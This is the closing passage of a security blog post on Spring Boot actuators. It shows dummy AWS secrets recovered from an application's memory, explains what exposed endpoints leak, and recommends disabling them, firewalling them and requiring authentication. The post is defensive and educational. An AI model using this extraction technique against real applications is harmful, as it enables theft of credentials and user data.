TESTingSecretAccessTest!
[...]
AWS_SECRET_KEY<span class="hljs-comment">#</span>
AWS_SECRET_KEY!
AKIATESTTEST<span class="hljs-comment">#</span>
AKIATESTTEST!
</code></pre>
<p>And there we go - secrets, pulled directly from the brain of your application. In the same way, we could pull out cryptographic keys, API credentials, user data that the application is currently working on, internal API addresses, AWS resource identifiers, or whatever else the application is using. And at this point, there really isn't anything you can do about it.</p>
<p>Well, except, of course, <strong>not exposing your actuators</strong>.</p>
<h2 id="heading-closing-notes">Closing Notes</h2>
<p>I've only gone through a small number of the actuators in this blog post, and these <a target="_blank" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">aren't even necessarily the most dangerous ones</a>. The only arguably harmless endpoint is the health check actuator (which is also the only one that is enabled by default). Any other endpoint should be considered dangerous (yes, even the Prometheus endpoint you are using for monitoring your application, unless you are fine with showing the whole world your resource usage and whatever business metrics you are exposing through it). The best thing you can do it to <strong>turn off every endpoint you are not actively using, limit access to the others using the firewall, and add authentication requirements</strong>.</p>
<p>In the next parts of this blog series, I will discuss how to detect your exposed endpoints. We will begin with <a target="_blank" href="https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep">detecting them in your code</a>, and then move on to detecting them with <a target="_blank" href="https://blog.maass.xyz/spring-actuator-security-part-3-finding-exposed-actuators-using-dynamic-testing-with-ffuf">dynamic security scanners</a>.</p>
<p>Further reading:</p>
<ul>
<li><p><a target="_blank" href="https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html">The spring actuator documentation</a></p>
</li>
<li><p><a target="_blank" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">Veracode listing options for RCE using Spring Actuators</a></p>
</li>
</ul>
<p><em>I would like to thank Jannik Hollenbach for his helpful feedback on an early version of this article. In addition, I would like to thank the Security Community at my employer,</em> <a target="_blank" href="https://www.iteratec.com/"><em>iteratec</em></a><em>, for their input on this issue.</em></p>
]]></content:encoded></item></channel></rss>